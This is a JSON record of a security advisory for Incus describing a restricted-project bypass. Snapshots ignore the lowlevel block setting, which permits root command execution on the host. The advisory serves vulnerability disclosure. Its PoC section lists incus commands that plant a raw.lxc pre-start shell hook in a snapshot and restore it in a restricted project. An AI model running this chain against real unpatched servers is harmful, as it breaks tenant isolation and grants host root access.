{"id":"GHSA-48q5-w887-33wv","revision":"3f5d019f9164487bbcf8b4e0ffb9419c","records":[{"revision":"3f5d019f9164487bbcf8b4e0ffb9419c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-48q5-w887-33wv","aliases":["CVE-2026-48751","GO-2026-5799"],"title":"Incus has a restricted project bypass leading to arbitrary command execution","description":"### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id >/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#> allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.","state":0,"publishedAt":"2026-06-26T18:33:55+00:00","modifiedAt":"2026-07-07T20:41:26.1880688+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus/v7/cmd/incusd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv","https://github.com/lxc/incus"],"sourceUrl":"https://github.com/advisories/GHSA-48q5-w887-33wv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-48q5-w887-33wv","identifiers":["GHSA-48q5-w887-33wv","CVE-2026-48751","GO-2026-5799"]},"retained":false,"historicalAffected":[]}],"coverage":[]}